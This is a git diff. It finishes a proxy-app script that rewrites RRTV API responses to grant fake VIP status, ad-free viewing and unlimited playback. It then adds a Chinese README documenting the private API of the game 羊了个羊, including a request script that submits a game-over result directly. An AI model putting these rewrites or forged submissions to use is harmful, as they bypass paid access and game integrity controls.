"highLight", + "func": "highLight", + "description": "高亮评论回复", + "icon": "huifu", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "danmu", + "action": "send", + "function": "superBarrageBlue", + "func": "superBarrageBlue", + "description": "超级弹幕", + "icon": "chaojidanmu", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "video", + "action": "play", + "function": "vipVideo", + "func": "vipVideo", + "description": "勋章专享剧集", + "icon": "zhuanxiangjuji", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "growth", + "action": "play", + "function": "0.4", + "func": "0.4", + "description": "看剧经验+40%", + "icon": "jingyanzhijiacheng", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "video", + "action": "play", + "function": "noLimit", + "func": "noLimit", + "description": "看剧无限制", + "icon": "kanjuwuxianzhi", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "video", + "action": "play", + "function": "noAd", + "func": "noAd", + "description": "看剧无广告", + "icon": "kanjuwuguanggao", + "endTime": 9999987654321 + }]; + obj.data.user.vipMedal = { + "name": "大魔王", + "endTime": "2099-02-22 02:44:53", + "imgUrl": "http://img.rr.tv/cover/20200424/o_1587720799676.png", + "id": 1, + "isExpired": false + }; + obj.data.user.vipInfo = {"level": "1", "expiredTime": 4000000000000, "valid": true}; + body = JSON.stringify(obj); + } catch (err) { + magicJS.logError(`pro去广告出现异常:${err}`); + } + break; + case rrtv_level.test(magicJS.request.url): + try { + let obj = JSON.parse(magicJS.response.body); + obj.data = { + "level": "1", + "expiredTime": 4000000000000, + "valid": true + }; + body = JSON.stringify(obj); + } catch (err) { + magicJS.logError(`rrtv_level出现异常:${err}`); + } + break; + default: + magicJS.logWarning("触发意外的请求处理,请确认脚本或复写配置正常。"); + break; + } + } else { + magicJS.logWarning("触发意外的请求处理,请确认脚本或复写配置正常。"); + } + if (body) { + magicJS.done({body}); + } else { + magicJS.done(); + } +})(); + + +// @formatter:off +function MagicJS(e="MagicJS",t="INFO"){function s(){_keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",this.encode=function(e){var t,s,o,i,r,n,a,c="",h=0;for(e=_utf8_encode(e);h>2,r=(3&t)<<4|(s=e.charCodeAt(h++))>>4,n=(15&s)<<2|(o=e.charCodeAt(h++))>>6,a=63&o,isNaN(s)?n=a=64:isNaN(o)&&(a=64),c=c+_keyStr.charAt(i)+_keyStr.charAt(r)+_keyStr.charAt(n)+_keyStr.charAt(a);return c},this.decode=function(e){var t,s,o,i,r,n,a="",c=0;for(e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");c>4,s=(15&i)<<4|(r=_keyStr.indexOf(e.charAt(c++)))>>2,o=(3&r)<<6|(n=_keyStr.indexOf(e.charAt(c++))),a+=String.fromCharCode(t),64!=r&&(a+=String.fromCharCode(s)),64!=n&&(a+=String.fromCharCode(o));return a=_utf8_decode(a)},_utf8_encode=function(e){e=e.replace(/\r\n/g,"\n");for(var t="",s=0;s127&&o<2048?(t+=String.fromCharCode(o>>6|192),t+=String.fromCharCode(63&o|128)):(t+=String.fromCharCode(o>>12|224),t+=String.fromCharCode(o>>6&63|128),t+=String.fromCharCode(63&o|128))}return t},_utf8_decode=function(e){for(var t="",s=0,o=c1=c2=0;s191&&o<224?(c2=e.charCodeAt(s+1),t+=String.fromCharCode((31&o)<<6|63&c2),s+=2):(c2=e.charCodeAt(s+1),c3=e.charCodeAt(s+2),t+=String.fromCharCode((15&o)<<12|(63&c2)<<6|63&c3),s+=3);return t}}return new class{constructor(){if(this.version="2.2.3.1",this.scriptName=e,this.logLevels={DEBUG:5,INFO:4,NOTIFY:3,WARNING:2,ERROR:1,CRITICAL:0,NONE:-1},this.isLoon="undefined"!=typeof $loon,this.isQuanX="undefined"!=typeof $task,this.isJSBox="undefined"!=typeof $drive,this.isNode="undefined"!=typeof module&&!this.isJSBox,this.isSurge="undefined"!=typeof $httpClient&&!this.isLoon,this.node={request:void 0,fs:void 0,data:{}},this.iOSUserAgent="Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Safari/604.1",this.pcUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 Edg/84.0.522.59",this.logLevel=t,this._barkUrl="",this.b64codecs=new s,this.isNode){this.node.fs=require("fs"),this.node.request=require("request");try{this.node.fs.accessSync("./magic.json",this.node.fs.constants.R_OK|this.node.fs.constants.W_OK)}catch(e){this.node.fs.writeFileSync("./magic.json","{}",{encoding:"utf8"})}this.node.data=require("./magic.json")}else this.isJSBox&&($file.exists("drive://MagicJS")||$file.mkdir("drive://MagicJS"),$file.exists("drive://MagicJS/magic.json")||$file.write({data:$data({string:"{}"}),path:"drive://MagicJS/magic.json"}))}set barkUrl(e){this._barkUrl=e.replace(/\/+$/g,"")}set logLevel(e){this._logLevel="string"==typeof e?e.toUpperCase():"DEBUG"}get logLevel(){return this._logLevel}get isRequest(){return"undefined"!=typeof $request&&"undefined"==typeof $response}get isResponse(){return"undefined"!=typeof $response}get request(){return"undefined"!=typeof $request?$request:void 0}get response(){return"undefined"!=typeof $response?($response.hasOwnProperty("status")&&($response.statusCode=$response.status),$response.hasOwnProperty("statusCode")&&($response.status=$response.statusCode),$response):void 0}get platform(){return this.isSurge?"Surge":this.isQuanX?"Quantumult X":this.isLoon?"Loon":this.isJSBox?"JSBox":this.isNode?"Node.js":"unknown"}read(e,t=""){let s="";this.isSurge||this.isLoon?s=$persistentStore.read(e):this.isQuanX?s=$prefs.valueForKey(e):this.isNode?s=this.node.data:this.isJSBox&&(s=$file.read("drive://MagicJS/magic.json").string);try{this.isNode&&(s=s[e]),this.isJSBox&&(s=JSON.parse(s)[e]),t&&("string"==typeof s&&(s=JSON.parse(s)),s=s&&"object"==typeof s?s[t]:null)}catch(o){this.logError(o),s=t?{}:null,this.del(e)}void 0===s&&(s=null);try{s&&"string"==typeof s&&(s=JSON.parse(s))}catch(e){}return this.logDebug(`READ DATA [${e}]${t?`[${t}]`:""}(${typeof s})\n${JSON.stringify(s)}`),s}write(e,t,s=""){let o=s?{}:"";if(s&&(this.isSurge||this.isLoon)?o=$persistentStore.read(e):s&&this.isQuanX?o=$prefs.valueForKey(e):this.isNode?o=this.node.data:this.isJSBox&&(o=JSON.parse($file.read("drive://MagicJS/magic.json").string)),s){try{"string"==typeof o&&(o=JSON.parse(o)),o="object"==typeof o&&o?o:{}}catch(t){this.logError(t),this.del(e),o={}}this.isJSBox||this.isNode?(o.hasOwnProperty(e)&&"object"==typeof o[e]||(o[e]={}),o[e].hasOwnProperty(s)||(o[e][s]=null),void 0===t?delete o[e][s]:o[e][s]=t):void 0===t?delete o[s]:o[s]=t}else this.isNode||this.isJSBox?void 0===t?delete o[e]:o[e]=t:o=void 0===t?null:t;"object"==typeof o&&(o=JSON.stringify(o)),this.isSurge||this.isLoon?$persistentStore.write(o,e):this.isQuanX?$prefs.setValueForKey(o,e):this.isNode?this.node.fs.writeFileSync("./magic.json",o):this.isJSBox&&$file.write({data:$data({string:o}),path:"drive://MagicJS/magic.json"}),this.logDebug(`WRITE DATA [${e}]${s?`[${s}]`:""}(${typeof t})\n${JSON.stringify(t)}`)}del(e,t=""){this.logDebug(`DELETE KEY [${e}]${t?`[${t}]`:""}`),this.write(e,null,t)}notify(e=this.scriptName,t="",s="",o=""){this.logNotify(`title:${e}\nsubTitle:${t}\nbody:${s}\noptions:${"object"==typeof o?JSON.stringify(o):o}`);if(o=(e=>{let t={};return"string"==typeof e?this.isLoon?t={openUrl:e}:this.isQuanX&&(t={"open-url":e}):"object"==typeof e&&(this.isLoon?(t.openUrl=e["open-url"]?e["open-url"]:"",t.mediaUrl=e["media-url"]?e["media-url"]:""):this.isQuanX&&(t=e["open-url"]||e["media-url"]?e:{})),t})(o),1==arguments.length&&(e=this.scriptName,t="",s=arguments[0]),this.isSurge)$notification.post(e,t,s);else if(this.isLoon)o?$notification.post(e,t,s,o):$notification.post(e,t,s);else if(this.isQuanX)$notify(e,t,s,o);else if(this.isNode){if(this._barkUrl){let o=encodeURI(`${e}/${t}\n${s}`);this.get(`${this._barkUrl}/${o}`,()=>{})}}else if(this.isJSBox){let o={title:e,body:t?`${t}\n${s}`:s};$push.schedule(o)}}log(e,t="INFO"){this.logLevels[this._logLevel]void 0===s.body?"":`${encodeURIComponent(e)}=${encodeURIComponent(s.body[e])}`).join("&");s.url.indexOf("?")<0&&(s.url+="?"),s.url.lastIndexOf("&")+1!=s.url.length&&s.url.lastIndexOf("?")+1!=s.url.length&&(s.url+="&"),s.url+=e,delete s.body}return this.isQuanX?(s.hasOwnProperty("body")&&"string"!=typeof s.body&&(s.body=JSON.stringify(s.body)),s.method=t):this.isNode?(delete s.headers["Accept-Encoding"],"object"==typeof s.body&&("GET"===t?(s.qs=s.body,delete s.body):"POST"===t&&(s.json=!0,s.body=s.body))):this.isJSBox&&(s.header=s.headers,delete s.headers),s}get(e,t){let s=this.adapterHttpOptions(e,"GET");if(this.logDebug(`HTTP GET: ${JSON.stringify(s)}`),this.isSurge||this.isLoon)$httpClient.get(s,t);else if(this.isQuanX)$task.fetch(s).then(e=>{e.status=e.statusCode,t(null,e,e.body)},e=>t(e.error,null,null));else{if(this.isNode)return this.node.request.get(s,t);this.isJSBox&&(s.handler=(e=>{let s=e.error?JSON.stringify(e.error):void 0,o="object"==typeof e.data?JSON.stringify(e.data):e.data;t(s,e.response,o)}),$http.get(s))}}post(e,t){let s=this.adapterHttpOptions(e,"POST");if(this.logDebug(`HTTP POST: ${JSON.stringify(s)}`),this.isSurge||this.isLoon)$httpClient.post(s,t);else if(this.isQuanX)$task.fetch(s).then(e=>{e.status=e.statusCode,t(null,e,e.body)},e=>{t(e.error,null,null)});else{if(this.isNode)return this.node.request.post(s,t);this.isJSBox&&(s.handler=(e=>{let s=e.error?JSON.stringify(e.error):void 0,o="object"==typeof e.data?JSON.stringify(e.data):e.data;t(s,e.response,o)}),$http.post(s))}}done(e={}){"undefined"!=typeof $done&&$done(e)}b64encode(e){return this.b64codecs.encode(e)}b64decode(e){return this.b64codecs.decode(e)}isToday(e){if(null==e)return!1;{let t=new Date;return"string"==typeof e&&(e=new Date(e)),t.getFullYear()==e.getFullYear()&&t.getMonth()==e.getMonth()&&t.getDay()==e.getDay()}}isNumber(e){return"NaN"!==parseFloat(e).toString()}attempt(e,t=null){return e.then(e=>[null,e]).catch(e=>(this.logError(e),[e,t]))}retry(e,t=5,s=0,o=null){return(...i)=>new Promise((r,n)=>{(function i(...a){Promise.resolve().then(()=>e.apply(this,a)).then(e=>{"function"==typeof o?Promise.resolve().then(()=>o(e)).then(()=>{r(e)}).catch(e=>{this.logError(e),t>=1&&s>0?setTimeout(()=>i.apply(this,a),s):t>=1?i.apply(this,a):n(e),t--}):r(e)}).catch(e=>{this.logError(e),t>=1&&s>0?setTimeout(()=>i.apply(this,a),s):t>=1?i.apply(this,a):n(e),t--})}).apply(this,i)})}formatTime(e,t="yyyy-MM-dd hh:mm:ss"){var s={"M+":e.getMonth()+1,"d+":e.getDate(),"h+":e.getHours(),"m+":e.getMinutes(),"s+":e.getSeconds(),"q+":Math.floor((e.getMonth()+3)/3),S:e.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(e.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}now(){return this.formatTime(new Date,"yyyy-MM-dd hh:mm:ss")}today(){return this.formatTime(new Date,"yyyy-MM-dd")}sleep(e){return new Promise(t=>setTimeout(t,e))}}(e)} +// @formatter:on \ No newline at end of file diff --git a/Scripts/sheep/README.md b/Scripts/sheep/README.md new file mode 100644 index 00000000..ef3c94b3 --- /dev/null +++ b/Scripts/sheep/README.md @@ -0,0 +1,5763 @@ + +羊了个羊接口文档 +=========================== +该文档仅供学习交流使用,不可用于非法目的。如侵权请联系我删除! +**** + +|作者| fmz200 | 📮:[ikun.cx@gmail.com](#ikun.cx@gmail.com) +|---|--------|-------- + +**** +**说明:该文档中的 t ,uid,token 为用户信息,自行抓取,请勿泄露给他人。** +**如有问题请提交issue,如参与补充欢迎提交pr👨‍💻 ‍。** +**** +更新日志: +* 1、2022-09-27 新增羊了个羊接口说明 +* 2、2022-10-17 新增话题相关接口说明 +**** + +## 目录 +* [1、登录接口](#1、登录接口) +* [2、更新用户信息接口](#2、更新用户信息接口) +* [3、查询用户信息接口](#3、查询用户信息接口) +* [4、朋友圈今日排行榜](#4、朋友圈今日排行榜) +* [5、朋友圈历史排行榜](#5、朋友圈历史排行榜) +* [6、首页全国羊群接口](#6、首页全国羊群接口) +* [7、话题信息接口](#7、话题信息接口) +* [8、获取地图接口](#8、获取地图接口) +* [9、游戏结束接口](#9、游戏结束接口) +* [10、获取第一关地图接口](#10、获取第一关地图接口) +* [11、获取第二关地图接口](#11、获取第二关地图接口) +* [12、俺的名片接口](#12、俺的名片接口) +* [13、获取关卡地图ID【话题】](#13、获取关卡地图ID【话题】) +* [14、获取第1关地图【话题】](#14、获取第1关地图【话题】) +* [15、获取第2关地图【话题】](#15、获取第2关地图【话题】) +* [16、游戏结束【话题】](#16、游戏结束【话题】) +* [17、sheep/v1/health](#17、sheep/v1/health) +* [18、game/skin/info](#18、game/skin/info) +* [19、item/share/info_map](#19、item/share/info_map) +* [20、game/topic/info](#20、game/topic/info) +* [21、game/topic/game_join](#21、game/topic/game_join) +* [22、今日话题页](#22、今日话题页) +* [23、item/share/incr](#23、item/share/incr) + + + +### 1、登录接口 +
+点击展开 + +#### 1.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/user/login_wx +#### 请求体: +```json +{ + "code" : "............" +} +``` +#### 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "time" : 1664431123219, + "uid" : "你的uid", + "token" : "你的token", + "open_id" : "xx" + } +} +``` +#### 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/user/login_wx?`; +const method = `POST`; +const headers = { + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 't' : `你的t值`, + 'Referer' : `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 'Host' : `cat-match.easygame2021.com`, + 'User-Agent' : `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = `{"code":"............"}`; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` +
+ + +### 2、更新用户信息接口 +
+点击展开 + +#### 2.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/update_user +#### 2.2 请求体: +```json +{ + "nick_name" : "你的昵称", + "avatar" : "https://thirdwx.qlogo.cn/mmopen/vi_32/xxx/132", + "gender" : 0 +} + +``` +#### 2.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : "OK" +} + +``` +#### 2.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/update_user?`; +const method = `POST`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 't': `你的t值`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = `{"nick_name":"你的昵称","avatar":"https://thirdwx.qlogo.cn/mmopen/vi_32/xxx/132","gender":0}`; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` +
+ +### 3、查询用户信息接口 +
+点击展开 + +#### 3.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/user_info?uid=你的uid +#### 3.2 请求体: +```json + 无请求体 +``` +#### 3.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "gender" : 0, + "nick_name" : "你的昵称", + "avatar" : "https://thirdwx.qlogo.cn/mmopen/vi_32/xxx/132", + "id" : "你的用户id", + "created_at" : "2022-09-22T02:55:03.466Z", + "union_id" : "oNvyk5vFHYFQQ6YeD9L1Nmi3UmPQ", + "platform" : 1, + "updated_at" : "2022-09-22T02:55:03.466Z", + "open_id" : "oOYg25J5qEbZgzRY0jQI3SHpxV2I" + } +} +``` +#### 3.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/user_info?uid=你的用户id`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` +
+ + +### 4、朋友圈今日排行榜 +
+点击展开 + +#### 4.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/user_rank_info?uid=你的用户id +#### 4.2 请求体: +```json + 无请求体 +``` +#### 4.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "region" : "中国", + "user" : { + "state" : 0, + "first" : 0, + "uid" : "", + "nick_name" : "", + "time" : 0, + "avatar" : "", + "skin" : 0, + "city" : "", + "region" : "", + "role" : 0, + "ts" : 0, + "fail" : 0, + "gender" : 0 + } + } +} +``` +#### 4.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/user_rank_info?uid=你的用户id`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` +
+ + +### 5、朋友圈历史排行榜 +
+点击展开 + +#### 5.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/rank_stage_info +#### 5.2 请求体: +```json + 无请求体 +``` +#### 5.3 响应体: +```json + +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "iqWin" : { + "state" : 0, + "first" : 0, + "uid" : "", + "nick_name" : "", + "time" : 0, + "avatar" : "", + "skin" : 0, + "city" : "", + "region" : "", + "role" : 0, + "ts" : 0, + "fail" : 0, + "gender" : 0 + }, + "firstWin" : { + "state" : 0, + "first" : 0, + "uid" : "", + "nick_name" : "", + "time" : 0, + "avatar" : "", + "skin" : 0, + "city" : "", + "region" : "", + "role" : 0, + "ts" : 0, + "fail" : 0, + "gender" : 0 + }, + "timeWin" : { + "state" : 0, + "first" : 0, + "uid" : "", + "nick_name" : "", + "time" : 0, + "avatar" : "", + "skin" : 0, + "city" : "", + "region" : "", + "role" : 0, + "ts" : 0, + "fail" : 0, + "gender" : 0 + } + } +} +``` +#### 5.3 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/rank_stage_info?`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` +
+ +### 6、首页全国羊群接口 +
+点击展开 + +#### 6.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/rank_info_byte?isByte=true +#### 6.2 请求体: +```json + 无请求体 +``` +#### 6.3 响应体: +```json + 响应为字节数据文本 +``` +#### 6.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/rank_info_byte?isByte=true`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` +
+ +### 7、话题信息接口 +
+点击展开 + +#### 7.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/topic_match_info?type=2&uid=你的用户id +#### 7.2 请求体: +```json + 无请求体 +``` +#### 7.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "taoist" : null, + "taoist_fail_count" : 0, + "taoist_fail_member" : 0, + "topic" : { + "id" : 0, + "ts" : "", + "info" : { + "nick_name" : "", + "avatar" : "", + "uid" : "", + "time" : 0, + "ts" : 0, + "fail" : 0, + "city" : "", + "type" : 0, + "state" : 0 + }, + "name" : "", + "tomb" : 0, + "taoist" : 0 + }, + "tomb_fail_count" : 0, + "tomb_fail_member" : 0, + "tomb" : null + } +} +``` +#### 7.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/topic_match_info?type=2&uid=你的用户id`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` +
+ +### 8、获取地图接口 +
+点击展开 + +#### 8.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/map_info_ex?matchType=3 +#### 8.2 请求体: +```json + 无请求体 +``` +#### 8.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : { + "map_md5" : [ + "046ef1bab26e5b9bfe2473ded237b572", + "d9d5f97bbf1c587b34da2120da77c22e" + ], + "map_seed" : [ + 4232401885, + 132803809, + 1943796078, + 1076140864 + ], + "map_seed_2" : "1665528879" + } +} + +``` +#### 8.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/map_info_ex?matchType=3`; +const method = `GET`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 't': `你的t值`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = ``; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); + +``` +
+ +### 9、游戏结束接口 +
+点击展开 + +#### 9.1 请求URL:https://cat-match.easygame2021.com/sheep/v1/game/game_over_ex +#### 9.2 请求体: +```json +{ + "MatchPlayInfo" : "CAMiBQi+ARADIgUIuwEQAyIFCMEBEAMiBQixARAKIgUI2QEQCiIFCJMBEAciBQjDARAHIgUIywEQByIFCMIBEAsiBQiaARALIgQIUBALIgUIzAEQBCIFCLIBEAQiBQjIARAEIgUIxwEQASIFCMoBEAEiBQiqARABIgUI1wEQECIECE8QCSIFCM4BEA4iBQjPARANIgUIrQEQDQ==", + "Version" : "0.0.1", + "MapSeed2" : "1665528879", + "skin" : 1, + "rank_time" : 34, + "rank_role" : 1, + "rank_state" : 2, + "rank_score" : 1 +} +``` +#### 9.3 响应体: +```json +{ + "err_code" : 0, + "err_msg" : "", + "data" : 0 +} +``` +#### 9.4 脚本示例: +```javascript +const url = `https://cat-match.easygame2021.com/sheep/v1/game/game_over_ex?`; +const method = `POST`; +const headers = { + 'Accept-Encoding': `gzip,compress,br,deflate`, + 'content-type': `application/json`, + 'Connection': `keep-alive`, + 't': `你的t值`, + 'Referer': `https://servicewechat.com/wx141bfb9b73c970a9/29/page-frame.html`, + 'Host': `cat-match.easygame2021.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d25) NetType/4G Language/zh_CN` +}; +const body = `{"rank_score":1,"rank_state":2,"rank_time":34,"rank_role":1,"skin":1,"MatchPlayInfo":"CAMiBQi+ARADIgUIuwEQAyIFCMEBEAMiBQixARAKIgUI2QEQCiIFCJMBEAciBQjDARAHIgUIywEQByIFCMIBEAsiBQiaARALIgQIUBALIgUIzAEQBCIFCLIBEAQiBQjIARAEIgUIxwEQASIFCMoBEAEiBQiqARABIgUI1wEQECIECE8QCSIFCM4BEA4iBQjPARANIgUIrQEQDQ==","MapSeed2":"1665528879","Version":"0.0.1"}`; + +const myRequest = { + url: url, + method: method, + headers: headers, + body: body +}; + +$task.fetch(myRequest).then(response => { + console.log(response.statusCode + "\n\n" + response.body); + $done(); +}, reason => { + console.log(reason.error); + $done(); +}); +``` +
+ +### 10、获取第一关地图接口 +
+点击展开 + +#### 10.1 请求URL:https://cat-match-static.easygame2021.com/maps/046ef1bab26e5b9bfe2473ded237b572.txt +#### 10.2 请求体: +```json + 无请求体 +``` +#### 10.3 响应体: +```json + +{ + "widthNum" : 8, + "blockTypeData" : { + "1" : 1, + "2" : 2, + "3" : 2 + }, + "levelKey" : 80001, + "heightNum" : 10, + "levelData" : { + "1" : [ + { + "rolNum" : 16, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-16-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 28, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-28-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 40, + "rowNum" : 16, + "blockNode" : null, + "id" : "1-40-16", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 16, + "rowNum" : 32, + "blockNode" : null, + "id" : "1-16-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 28, + "rowNum" : 32, + "blockNode" : null, + "id" : "1-28-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 40, + "rowNum" : 32, + "blockNode" : null, + "id" : "1-40-32", + "moldType" : 1, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 16, + "rowNum" : 48, + "blockNode" : null, + "id" : "1-16-48", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + }, + { + "rolNum" : 28, + "rowNum" : 48, + "blockNode" : null, + "id" : "1-28-48", + "moldType" : 2, + "type" : 0, + "layerNum" : 1 + 